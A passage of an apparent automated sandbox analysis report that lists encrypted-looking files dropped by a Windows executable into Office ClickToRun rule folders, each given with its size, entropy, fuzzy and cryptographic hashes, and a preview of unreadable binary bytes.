Preview:	.<?..#..d]..>....\...o...+....G...:9.l/.....nR..J.1A.;.g.R.J.g.[.%U.....t.....M..H.^ns..P.N..tr..@......3^/.9......;Nn....No%....s.....4-2.......r.d.OK..b.fw.o.._....w#e..R^....>.U.o.....J.gf....A...q.~...S.k.,........9.@..>.M..<.8.t...~.+..g$.X...h-.9.2.?[.9."P..."zE.......^E....!......A4.[....gV.Q6.Cw4.$....I`.8....&..Jh.`h...z..DC.6.........tvSL..qc....'...zY.7......fS..Sd.e..o...F........<'B..Y.L..]......W...<.v.........k.....+._..2....\..q....2O..n)m....b....J....]...i..F.?./>v%.....c..N.f..l7C..D...........T.........w._....i.!...4.......4..@......=...>..F~S......3._H.-...>s../..%...gj.]..r........^tm........]./Z.........C....@.....!J..l....m..OC.....$..t!XY..\3^....L....J.p...a.g..R.5..v......9}..<.......q.........Q..u~.....@..w.8S.B...,...,....... y.....G..!..k9'e... ).gC...\|....P......c1.7.~.p......U\.....Q.1.`~d.Ew.....:d.....'.y.@.e.)...s....:.$.[.....,...K>.8..#Is.K...F(C[5...$..S.....r.1..xp.m..-...".<\.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703701v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1749
Entropy (8bit):	7.890501759711832
Encrypted:	false
SSDEEP:	48:X6SgJ8wyu0SgheK/mWrI/4dEwRlNKq3NpJS6cOeMr/13lYvD:X6j0F/rIQRAq3tS6cO/pVY7
MD5:	FAAC8B01C4EB5FDD6D447B846E557BF9
SHA1:	5B31E8C2C2599B32AA42D73B48756994F53F39AF
SHA-256:	5EC0ABBA658DCB5DEB1CABD6C7F5219570CBDD5F5244F2D0ED232544BD65BAAB
SHA-512:	7FFDA554E4B45B3863DBD921C1C7E9702190F0218E61402734CD05944599A4743E5A7D515F84971C6FD02582CE9AE819FE7BF719CBAEE5C9C6AE903B92BACE8A
Malicious:	false
Preview:	.<?#.1.z.d..>.d....jDm.r.0...y5...s..l..'G..MY.-xL.}H.?...nD.`..6.p.(..R.B.C.cX..N\.a?..K\|.t...+...s3.. .O....\|%.a....r...2..N.......O.....Q_..8..y?.%...S!......-2c+....<hO~@...~0.3.....P.W...7...w.4...#e.M.........$.[.W74.....~.dO.n./'.y...\|c!....4..,X..a....J.V.e,J........S....8X.2./".D2<.SN... ...R.6mF......vY.....`............O.......u....g.1...z2.;.......d.c.(.........b............M.K..f......56?o...x....,.......LA.......4.f4.Xf...lC.k......L...\|%..H............K1?..Nm.t..J.'..\.m..5.:..$.Jv...+.....Q.q.x...Y$..h....@.H/....2..........B.ka...X..zbw[XQ.6v....d...7..}...5....7.0...J.........3h.J..z*..n..\|.......g......;1.XS.R.......\..J...V.....IP[ye....'O.. ...!..f..t.b..\|..Q...[e.R..h......B.6.B.. s......(./.^...1.%x.".x.#G.5.T.(.e.%a.It...e>.j..l.....3\|...........+O..I.3...e{.....TQ.PY..NS%.D....e..........<...S..I..W.6....\....Q+...M..>p.......j....a.p...qI..#\|.e.H..Q..J.....U.E.K.d....l............QrJH2l6.w...=....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703750v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1734
Entropy (8bit):	7.879384619824543
Encrypted:	false
SSDEEP:	48:RLPLN/8dVThR7vBuOkn7rwnjKLZ791VVpPUefpfojD:RLJUdBh5grwneLJTpcwov
MD5:	4AE7381937E37010F9294D67AA160BBC
SHA1:	1F76CC93FBBED2C63687986A6F252F5525D5540B
SHA-256:	D39E292ADEEA895F6C130E0939ACC7020BD3936C07D906C308EB271A1912396F
SHA-512:	6F7B956E0AB013B8E269EAB188FE9A19A55B7C944BAB316188B4460F24F4C969160F311F9EAB3DCDBF34D914277A053E1396DBC43EB1F62C8E773C491BD5974A
Malicious:	false
Preview:	.<?.u.::...G...Fd4cg.....n.{L;5<4?.M...lm.X....x..R....I.W#....4s.}Ks...Q..'\|.&.QP.`n......K..... .K...Y.....^yH.Q...F...v"...!.Al.. \|.K...'......_u...v.'......r.k....~.t93...o...?.........`..r.}..&;b.I..H..!.....E.6.S........2...-.f1.0.....c.2...-.n=.X.o.......U.J..o..C1.a....;rr"....(.?..`..i....sHi....3ck.....t..bvl..9S?.`2..34......\|v.Rrt.D..{x..#.#rPg.JT.gzn.J.._zpf.....n..a .T.J...U.._`...DE\,.....j.+.k.].Q...v.u3D.tv0.Q.......z9.Z>.....9r(.9Z.....l.2e.BG..mO~.A...v...,...Tn....ln.;.$L.7.uS:.$...xr\|........R...+....{&...jT...DHa...C.l.l..j.=D...f.(d.H.i.J.......w..\|.4..M.........r.59...2.....%.KB....}-R..@D...w.Y.......%....[C..m.0z..`....N.;.J......].F......Q.....R8i.~{.,...XG...+.....f....le.....1....?.x.s+./.`....."V.r_.{`S.9L.z....."..O.tM0.."..;.4(X.\|.@-T......i..@..a........TNJvDv....9.:.Hn.}..........~.M.. ....S.M..I.m.K..[.B...V.G.tW&Lg.........2st\|o.e..q.0..../.=...Oa.!%..A.7lP\|..lH?.[.C..A...7..w.......}...).A../..U.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703751v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1771
Entropy (8bit):	7.869573726981014
Encrypted:	false
SSDEEP:	48:pzJGdsRqhKPidgGmCVW2en1cE2Fc/++41XDxD:plG2Rk4MUkWhn2E1/+7l
MD5:	6B4F61BAAAC8AAA7019479B1F9D63E65
SHA1:	B9A262C50896DD7E0D7ED6B9EDA27F4AD44DBF9E
SHA-256:	ACE9D79B73BA65CE548C14ECA28435FCED8D8D77C6E620B6E247D7F349AAA0BF
SHA-512:	31E6DFFE966560A94A5BBA180234076B8CD7B945E0E775C6F3E5E3277A3D72F44BEDA16D44335011B4577435573FB906592E66ABDD73E70E717829809B7E13B2
Malicious:	false
Preview:	.<?....+.....^...;...Y..B.w...$..L/K?Z<..C..a......T.&..\|.qkoC9z.}.:..m.l-;.c3e..].....oG.B.8...O8.o..WU%_f...D.y@z...y......>~e..ZE+...7..)..W8x5.I.sY0qb.u.6..FQA.... .a.."..`......r..\|.Y.......I..Q...........\|..2.y..K......a>..1.7..3.5.."g....^D6..8.....5/..-.3XD.Y.I......LF?.f.\|.KM..0....af.}.......?.<..q.p. 3......A.'.D~........0.G.4.n..g......R.'Qv..#.z.?...n..V.d..&...;b..Do`.).\....`...LL..<u.i.p.`?..r..O].. ..l..]..,Y.1PK..q. d!.....o"H.O.+)=:.N...D.8?...........3.[[....Bt. ...G..6H.U.b.s~.Lu=..X.f.D..lN=.j...5.....{.(..B.......UeJ...y..VY..j...W...xN..;=.[.1..iI..7C..--+..M.j..2vP.K.8../........4.....'...=.)..Vq.m..t.GL......d...R0...B...Do..Z:E...K=..G.G.Y..Y.R\|...zi.CS.I%.....6..<>..h...zc...(..o.Ei....r.+[..MJ.?.6..~.4i....v........Ou.&..(..!... !.........cOi"..b.....:5=..E\|.x[....r...~..0...Y..V....0.3.p......e~..O..;..Xe..[!=-{...7.1........`........\..P..P...L..W.w.!..m.kq.%;G..1xs/R.k.x.g....:r^.h...\.1....._H..S.[F.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703800v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1716
Entropy (8bit):	7.8914400418109185
Encrypted:	false
SSDEEP:	48:MqoWRqTriiiclvu0MIBPm7Y7d/Ge7Je2pDD:MTui9Vrhd/FkOP
MD5:	AE74C267D61E4F51FDCD19F15A48BBCE
SHA1:	1827A381B6F82DF7A4D6BE9A8BA2C18081213EC8
SHA-256:	B18AD9B559B5C73EBF188FDEC85E3DFE38A7532027BBB246CC9DEB053893EBBA
SHA-512:	105C4CAB7D3E82BC57FEEBB1EF0BBAAC343FB5AF066A4C6174A254D03A12AE90B37494E012902D5CDC10683F8A3C54C915FE916460F6129698E33810B7702FA2
Malicious:	false
Preview:	.<?..\|JqLB....A...x`...J..R.....u....9...D..........F....gq.,.....S.+...E...4%m..?.....%x.......%....p^1.._..,x.y.}.KeE..@!vd].....=.T\|.A.%.c......-.K:M...jI5.......$.0.U.>.H0.z.es21....y.l.......m. ..R=.:..^...f....cT....n..OD....HPA..Q........T....k..1..Z%Q%dK.E....>!...7..J.-...5........^...~l.4X..U.......c.l....8bV...e.."j.H..29.Gc6.c:.n....E...........gh2......b.Y.Rgq.x.f=.l.z........Q...mR.%.=..+a..K.(.6CR....a.M8.R..b.&..#4f-(.T.(0S.7T..).;...C.e..SP....eN.?...]S.N..L/.q.)..m/......U.Tto.....k.s..M!..}]......z.."..U.m..z...2. i.l..7.`j-2...p.....Ox.^.g..:f \@;.ak..-..m.a.......-2.q.s9sD.3..h._..J...2..!..GD&.........\0l..$.l..h.v....,.r.l.8St.6]..y`..Z..(......d.....=..}PMu.....}..V>.Y]a..5..(..n.`.....^...L...W....#=+....h.s..M...+f.n..u..3.)0B}..8....0.m8..bs.C..!S...K..nV.\..ge}.3..f.$.]...#NI.J.#.".y<.tfV..b].uL...w..d.......[EG....'.yYE:y.y.6...:.88...wk..l..t?....E.Q .....O.x....A.&..6.%...@.@\b6a^.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703801v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	7.892747163147277
Encrypted:	false
SSDEEP:	48:9eDex88iBRKX+jNQH9YgyDnHN8TqGYpSvRBPTwYD:kieUH9YgyDn6TZ3JV0E
MD5:	EA89FD0F96227ACE174D11555027A6D4
SHA1:	765D3B7763A5BAD7D214958A8900BCC8A2C2961A
SHA-256:	7A7E5A273248E60D2250FAC06C8A218C9FEE1E167A64F5F2F9D46B0E25C5832D
SHA-512:	5896A5DE778B19423EFEA8B26F5CBADEF7743D7FFC10D6D82C27096952FE70A2A86D5A6022D9ADB7405C9E678EDB6E1259F05F0F3940B0675EC2AEBE1C73A6FB
Malicious:	false
Preview:	.<?.@...a....C...K.d3~.24.Z...3P..%.Y.x.^......d....q.U..T....H.,..~.....[..z..k..C..`..J.+...6@...lQ..X>.0C....sQ...W8.!.Ne..r..p.T.........#.X#..\u...n. .. ..{.hN.....W3..p/0.,.SC\...G%..1...Q.(r..<....$...W..&0.V...Y.....\|.Lr.....9...x....Z.8..V+.m..8......J..5I.L\|u\|..U.d.._....]N....j..%..... o.M.....L).C...B"/v4~.*..y?..\.t.Z$.^x.\.....`....A.#..h...z.....Z..U.U.wc7p..H%l.4z...W.....T..L......p.A.h..&.S......a...G?....@.....7.C..WX;....Cx.}1wG]....}`#sk..N<...79w.Gu..g(......z...a.RK#.`.tJ.w.:t.G6p...3F..:.....]..+....x.L.......$..../....L.L.,....=..f.g...@w..)....I?..%C.C..2.-a.J..=.L.....Ag6.I.....6H.!%.[..B...3. ..g{..ujB...Ah.R.!IQQ..a .....L.._.t.aa...lz..S.`..{L.)K........m..k:.i..}g..".N)wX.3t.i...8.k../.#...)q..;;......+1..G3G....wVF?.~Exb.l.(...~.-L.....a....,@...m.R{9N.....&Z~6H.......mT.y}.(VR.SC...........M.U.g-"H.a.".7'W.....Rx.8..8..........._....w...y$.L.x...<.@3.^.;..m.K.\-..$5..$r..$..]Wgc.&&cD.....s{.....sv3...k.y...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703850v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1739
Entropy (8bit):	7.886631660071102
Encrypted:	false
SSDEEP:	48:rfNoSWE4VT7l99UTbiCaHOwSFDGwBH7ypwPYD:iSWEM9UTbmuwSFDGmH7C
MD5:	306A2863060AA54574AA2944FBBA7281
SHA1:	2BA370B5D9303B9A961FBA7D874BD6B0FAC202BD
SHA-256:	8A51226FB69599285F7C39B27437987DA64758E0AAE0C0C5B6BB0404B01E324E
SHA-512:	1BF1DFBD024F8DE2F6FF64FC89AF303CC26BE3BE3919D7E1130626A96E04B4D095F2509749CAA849B79E6CEA9D9CB24D63D36FB282A8F96A9CE67C22DE0F0D59
Malicious:	false
Preview:	.<?..;7.....i.sd.......y.Fi..2>iH..}0...H..C..@.....o....cY.K.zX...H...a..g..{..0\|......_...:. .....jNy.d'.."...........L...". .aX.../..M.#.n#........U.br....G.J.%&.e.I$..W.m...z...'}...z.P.U.)........q....I..B...L...q....$...x:j.....}....f...N.l...-......d....,p..E....na..6j....l.x'.....Da.1...#........a.7........e4..<..\.Zou......}..{+\..<z.b.d....X..P.P...d..`..2.%7.OzmU.-.rYT..q..a..yz..2..I3..B....Y..1...(.I.;.gK....zb-....V...$q..:\......1].Q..q...E9.`sIh.Rhj.ZQ)..2G1&.e.=(....../..M..h...h.5.V/.VMu3qa ...9..%F ....+\|1.-.1+.?.G..q.._V..]..._# .........v.P.MW\....j..u...09?q.}..U.WQ..sA<:^.4.....$=..Q..(F.d..B=R.........i&~..6................n.....,.B<......7.."....\|.....:.uj....{<.I.N#......F...b.n<Y#..Y.....9..?.5..D.,...13~.....cO....(..uWd-?....Z4.B.S.aV.2.l...........}..x.p.0;..&.n]..<.qg.X.Z....t...].[jW<d."..)y...J..7.'...G@3~...^:G9T...y.vH...J^...y....m....x.......=......:..T\|e.M...f.&.}ZU..? V....7.n...?./.I..m

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703851v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1776
Entropy (8bit):	7.900068576980096
Encrypted:	false
SSDEEP:	48:3TnfqjTLemYaepRVEHXLVGqnCj9dXhs+1fZB20l8bD:3TnfqjTLeKJGgCJdDB20qX
MD5:	ECDEF283D37D8ADB165E22D302AE8005
SHA1:	07CE427E20BD1FE1A9DEFC99EE14FF5EA8E39948
SHA-256:	3AAF33A0D6AE88EECC466F5818AC1FD19034DE575435467047736F12BD3ABA26
SHA-512:	33D075A1FEBB2DD933620E9C5A00F4AEC174175E152DC5A5E159F7A78ACE7A115A4EF5503AFDCC0D7D507919A2181AC202E234CF5A1D62445BBAF981C715169D
Malicious:	false
Preview:	.<?................O.....nB.B.......]. ...p.F.g.'p=$......5o....t......:...4#\|.:B.s..q...O....r......'.K.YPw...j....F.?....4.i..{....Azp.f...!........DF.X...D.s.w>{}p...x.$i.....%.w>.M..~..V.o...h...b..QUh,..9..lM...J!&;.....:.....k...........?...]...........IF.....0..F....".J%(hZ}..3.gL...L.5._.Y....\.m..ys..3~+.B..wo..1..F.#....B4..r'P.>..L,....^...p..~.C1.h...4.)..`.K....X.j...B... ........w{.....UI.....[......;9OaK..M~..8.r.(#.A....z+%g......oQ...w.S....O...x...R.k.......j...![.b...0...@.....}[.F?.+..>`25..e.3Z...`.."k.G..{.....`W.. .....<#..=.....q...u.&.Id..t...L......]_..M...U..z..r..e.Q@Pp....`u.+...G.8..t.1Paw...g.a..#...B.T.u@{...+..#....D.X.3..1._.U.....X...st...(. .x.#-..[H.s...>.:T.,..;.%=.L..$L0C..L\|%{&...A..[MO......}......m.q......9..*Z..A.....a.V...>.C..`.\|@.xFx...}.....-..H.}m..."."15&.R..{!.Q.H_!.[.Fz..m.+.jL..g8r.p.69Z..O...[8..y...c.u..!.fs?OS................G. 6..2.~...Tn_.......z.\........6...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703900v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1724
Entropy (8bit):	7.870402313258468
Encrypted:	false
SSDEEP:	48:8Rrjmd4Au3X5c+Nk6GWJ2NqAnWm9Q6VqD:8R84Au+BOmq09Di
MD5:	AA16F64C5F01CCA3E5458D1659424147
SHA1:	279634838717CBBB7BB97DE4295D57773900BC98
SHA-256:	AB1DEF092B4AD398F8BF623303793835521BDEF8B8A294D6B6E056EF8DF8EB61
SHA-512:	441F9923147A218C0ADB8D1B175D3161FB9493C4E056EA20B36A9930661BE958FA7648917BE02E141AD215AAC28BA6BDDA9D5AE7045AAB00D1D5C91904ADDDD4
Malicious:	false
Preview:	.<?.m..>.,},.Z.+.$).MOl9..j....Xc....G0.,z.......}jICh_;..6 .L.....uh..QEDyK)...W...eT...........\|...c._.rE.6... .W%....`..=..Z$G..f.U..c..n....V...G........k4U.G....-..D...nV....a%..P/.X...Y>`N2A.j.\|;Y...)h.@.S.....4...)..lP..{.0._.u...%.DT.2..t3.H..G\|.............)[....y...../..V...B./h..>.L.Q.A.K......=.....hf%..\|..4...N....M6i..S8.g.Z.....n...Da.3...%@a....7..W....../...0el...._..n...m...).W/.......)d.;Z.\._.Aw.ty2..^G.o\...k...mK..e..+H.......\.j....q..R\|.(?..wv..._...<.....C_.....pV.^.."...&......G.3...........?..l9Dv.....mK..5t..o.1..!K..R.....t..3......q........?..z..6....,.x....R.?=...J.".29Gu.y..........o"..S.8Q.6fo.f_.G..G...A.q..o[...q)......M;...8.oZ..-.F..\.\.JTb..C.7.J.0..YU!...m..3....+u.,.q..,.pH..Y....+.6...h....?.A..8.N....$......6....C....@%Sp.u!..`dQ[)...<RUL;...}....JP.3....(....p...(....6. ..t.e...j...R...M)<.4[i.x..A3..f.HzXcI.>.G.9"Fh.rc>.7...%8...6...J..6...;.."..Bb.u.A...?...nM.pr.0[P.h..}....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703901v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1761
Entropy (8bit):	7.87996464930639
Encrypted:	false
SSDEEP:	48:GYix3ldnSdblqYBPrj2Yb755tvn+5gzd8IaQ3AK4miD:gxjSdJLTj22755tPx581Q3b1q
MD5:	87730FFE393BCA8BE27C0580ED9DF3F2
SHA1:	AB98416A2C4AD277F7BA8C4C425225434AA038AB
SHA-256:	0F8BB07B281CF77EB953BA5C6CE91814A5E06788C3A91D94B6E01D9C1239AD50
SHA-512:	B158B6DA361F3C04052ACCCD2B17A9EC83C3157D6067D140A634D5975170690B6DD4D606C1788FFD14D9B7E66722EEDDDB4E943705433BA3B2AE55B96700DC59
Malicious:	false
Preview:	.<?.5.#.m....EX-Mr...]Uj.8X).cn5.f....mN.A...C.R...N..u.k........B...(&._.........e.^..R..D{jz! ..,..T...{k.U.`.p.U.T...z...Iq!...s.).H;q...........B..=.Y....9G....,..B.v.....~T..[.............y..P.........3.w......1)....u....X.....2..8.>.I...S)..:......9....~.U.~....e.-..^.~...'...M.Sj&!n...j.LD5..e/i..w.#]F!.,.s......K.Ll.........<.....S....].=....h.c,~0.\)...c.....HE..{5+.....:.W.&....H.:.P\.x.z....&..Xt...1.~...6j\|[.T.L_\|..N].o.u.\|M......KO.7.\|.............:...>.lJ......M.(..gJ.......0...T.b...=........?.M8.JK..G..(G..6..bt..^.....N.>9vC.]p.f.'...YY..._.n.g...\|... S:..4.[8Z.ocZ.8.....o.E...9P.....].S...{..qV...u.F#...g..X...<...".....p........MD.F..h...I.C...=.....a"e.]......K........Mj........A^.........,.He/...[........6.Pk.......*g....<fX..C..."#..qI..qS.(...j..W....\..B.:.0.GE.#[.rj...N~r.g..\|8.2..........[....pa...FKJ.D..Me.>{...7wD..\....h.{.#.....-;F....{....k.....A..:.._..:..@...rz..G._.6 k1<..K..=".....M..T..=..m.c

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703950v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1700
Entropy (8bit):	7.8974752958538605
Encrypted:	false
SSDEEP:	24:cWAm0bH1h3O1fUvuxq5aUhnbFLEP/zU+sIQsc0M8IO0RC175k02OXm9TbEMRsTln:+d1E1fsugazUlIIOqC1/CTb/sTlU+D
MD5:	B0ECD3D31ADB1BAA78E7A43BE01407A1
SHA1:	09D1F96DF01C52CD6887ADA2B4AE4E1BCF4AFFCF
SHA-256:	B11C5B693275BA50F870ADDE3EBD9D59B36F95512B19FD722FCAA13D5552CBFB
SHA-512:	F04BC317B42EC26D7F978FA97BFFF2C44816A8F69F1671C0A0032402194BEC5BED14630B91C5316FBCE4557938C98BD82EF2C07B92CFBDDA53CE54B218AB69BD
Malicious:	false
Preview:	.<?].\|N...co3...ha....p:&r@..;.e.t.p..5J.Q...G...t.z...i.V..x...!IQ..i....<..f..m.k.V........uW+......dZ..k..%._..K..A.~S.vUx,..YE.L....@&..\rG...m.G....\}.K...p..xpI.[;..<....H..Y..d...t..Y...~W.>.yb+.......%E...H.w.D.C..;.U./.X....n...s.V.....m...=.....S\'/.x..)...V`S..He.^f...j..t<........Wl.(0N........1..v\|.../...5.[".....^..C...F....9...aKRS2.f\..>8.......Y..N..&T.F6..C.^....p(.:w3..b..Yc2.3d(.1...{....S..4..,..r.U......=?...Sg.QQ@..}........z.[,..rw_....>..".;+....S.q}5]CI....Z..t..._.O..=T...J..Y7.tl......]L...%........TT.. W.e...Q.....'...C....R..l.:BkpM..iTXP.aO....1.:.......e...!./8._.Yb...v....!&...E;......"....:.. .$..B....Yz..BI.oN.:P.......g^.l_7.........KJ.^M.'.i.f`oi.\|ZG...5.6f.....L?...,K.q.n...6Bt..@...R~.B.....E.Sf}..r..S.Q(Z7].....7..Q.....R_9))6O..h.].'.g...'..J=.<...s..c.jQ<........1.s>.'......~.n.:E....&0......ej-...Qse..f...(]r..=.a...Q..Z.WZ0.&*...>k....y.!...hE.G...'.....M...d....'..D.m...-M.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703951v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1737
Entropy (8bit):	7.890015062389513
Encrypted:	false
SSDEEP:	48:HxnvA6c22eQw0bBEZec9AGBaBOh237Gw3zIsi+W0qBND:RrTibBEZecxx43SwMsY
MD5:	9C7F86E472E309C6EC67F3A80E5DA024
SHA1:	16AB595923EB996E14DD993029B5D1901F55CCFA
SHA-256:	AFBADB9F935DD2608DA1346BC64CAAD16335B2661A55BE50B259282D866D1E26
SHA-512:	1D83E05CA9D916534F84E30976806FB9B0A28139FAC4D4BE4EE6ED00A4539B8E38D0F3BF4D3B0E469B8F9D3708E4C7DD8FE6FD2127AED69689F88265D04139DA
Malicious:	false
Preview:	.<?#.2.P.~./..J7.W...0.....s....E...\|FM....qO....q.<.$.........'...d.W.....n...O\..W..Q7?.-u...w.V..:>...j+.]]....\|x..P.m.\|...G[.Ke&:)[i.c.9...G...3.....9........ys)E...X.,'......U.J..vv....~...u..m.6.G..........\|.e...h...I1ct6..u..K{.$.:.>.`p....l.uO:..>=17...........x.2.n.0c.._.\.7...k...c\|.//.\ec.U.,TI...>.T..:.c...r/.f.a.a..C...H..3...&Ruq)j.E..h...8....^[.Ny0......\|.{.K..\La....E..._..4......=W.%.+....%.......5.....T............H?.....J-b.?.o9......"...6..6M7.k<.!p......m45...t.b...:....}.......1m%....m..q...z5..a0E.P........p....*....\j..l.\|..6.C...N..#{u.{...._.wB......gj.V.g.@v./."..l.....h.y}.g..f.Q.i)JK.\|.Z.....'..8I8.f/z......a.{....E..a...........&.d/..J...3.1^{.....K.... .QE.....Ty5...A..hC2^.F.cA....N.w@.a.N..a.H.b.(..`..TN...,?P+B..]..]s.{wF.....=.^...??.Z#.Y.!.4..<..}..R\..s2..d....95..a.]!.k%S.P..!..l...U9.M...L.~..+.+O.6x9.C[............nS...GNj..<..L{..0....\.R.2.e..j....YxcC..N.pk..r[43..A..,.J.a...8&.V.oh....b.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule704000v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1716
Entropy (8bit):	7.880450647467418
Encrypted:	false
SSDEEP:	48:4vc9GJiiHQYRuRxXL6iiutV/CO/rZeftjYXcYzD:Mc8Jii/8RxX5iuj/yftjucYf
MD5:	DBA319AEB7652FBD2047D8E2EDCF87D7
SHA1:	03529C179AC85EFFF70E796A794B878B520C4E2E
SHA-256:	7B2303F2C020EA65F46589D37917ACA75960AD8D4377744E483BB28915FA5DFB
SHA-512:	0A9DA052943AB838BEEA7BC0E19512389DBBDAF4FF2503A07BE1ABDF0AA128DA7A29D7AF0FDF9E228FD068E27B72BFACA0647A5111A5947FD4E038AFED004FA4
Malicious:	false
Preview:	.<?.Y+p....TU..x:t5.F,;....;...)<.....@.v..r...0..H..Pg=2JW.q..B.W...`f......PB!d.a.7a..\|...4..+..r....l.hh+.R-.d..W.<...).c..Y{5.1>Z....9.c..F......L.c>.........0..]...c...J.K....&..3..)........@.4pP.U].m..(8/.w....^uM....lwH.L..].(.5.5".K......,Z\|.F.K).,u'._yY.Y6K5h>ts.E&./........y..o>...~N#.o..mQCN..N.Qx....w..lJX....3]..^.tAr..%.Y'I!...t...}e......V.H...?.N..D.F....)B._[..^K...{K.'c@.%r...G....9.E..k.....!...82.6..4'\|..Q........~....t......^.O.;a.c..!...../..Z:....XJP.......<......h..r..\|..$2.$......+..\|..6M.-...<.WE.c....}.G.F9.I.....%G..21]6..>..X;!LX..... ...Z..$..J..yH...j..F.h..$Je.7.GZ. ..4z.}Z...:Z.q.U>..\|4.".v.......G..T^Z. ..68./.3.V...$K....0..~..W`....'5..............Jp...5r..9ANH.......r..[s".b....\...KWB#...+.....;...F0$..8.}.J.%.Y./.../\|m..".(..<.6GM......$.Q`.j]$](...1^...:.........1..40......x.T....e...S[..2v.6a..z......s.?.h...p..(?..~g..H~-...Oi".r.u3-~^B...5ca..g..RZ.......... :)...=..k.9i.S.c.0{kk.......v.........<c

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule704001v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	7.901445399460266
Encrypted:	false
SSDEEP:	48:gYvC+k9ZwCPmalFMUnRjbWQ3brM09AdiiUjD:gCEwCOEG+nMDQRv
MD5:	EDF259853F750CE9FACE9859BDEFA340
SHA1:	FC27B9B4AA5502A0DC4207E91E55698EB22F39B4
SHA-256:	8825F34656A39B1D0C7B839ED56EEC565691A4F7350C47AA441917A42EBCBC58
SHA-512:	D7EE89C8A0A0FE7725C2C079CE768C4B873296A251C08EBF6916F828C43801E630DA6454196A02B222FAF0B82DCE1018CC08390C0B3A42F1ED12C40F6351F853
Malicious:	false
Preview:	.<?..{.'.a...\.....@..T.)p.........r."..!rd.__D...b.....-~.....a..RHn."..N.~..o<x.....9..f.......Dl..Y...!b0..)P...lwps....Z.....M...%.e9..`.'./...;..\.7.....q.T..1.<...'.......i.8m...S9..O..;..,....e.^.P...R..(.M..R. >.. ..w#r,.96...\|.....).....y8...... .......W.S..>C.....\}9.2...:..2.U...).#..E0U:..3..T).qb1..-..@....\...O......:....k....`.m.M$"j.`}....2.O.../.......U.......c...Zpb<.o...@X\.....c.h.{(WM7.mhp....~..,.....T..._..&~z.....r.9!..L......U......$Q.....O..pY....M.L....h.4.....4....k...!@.&0O.z.c.VZM$...@U...p..p.K....#P.....!a..s,.#T.%3.]8%i.........w......dI..........&.J.2....?:..f.d.].....O...OM..C.7..rV..'.,...r.....T....U.(6dp.U#F^...E>....5...t..<.V.....?..'.3..`(.(^2....=...u&.V.@..Iv.......>b`..R...................+.?.J..........(...1.>..T....x h....0......P.......`.&..}......R.j.)H..9...~...J(.?.x=#../.....]..<.S..ZU...c....!.l7G.L5.Y.^.$......f.I+.....t.o+...!.<...= .!...%?D.G.4.*..Eb..cCq.M.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule704050v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1690
Entropy (8bit):	7.892130818251727
Encrypted:	false
SSDEEP:	48:6oz5liKp+zKsdPU650x8sVUCl5/vKBHYPwkqoWHD:zLiKp+z9s6507ZlhEHMs
MD5:	8B2CBD1853D243F33D16E1CA9DDDA429
SHA1:	C207213FF3CF31DDB54DEEEE8B29626C727B13ED
SHA-256:	C089AF82181CD2DD04372E7D4745B2077C629BC1231EF560AB2AD7B2B013FEFF
SHA-512:	F83FA33E4A998C50D46DA4C6DF15E3397B3D3255357CAB0B0326DA40980ED501613AF86658311E21ECC42A8CBF8760B04814F0EB797567B6BC455DC9517D7A80
Malicious:	false
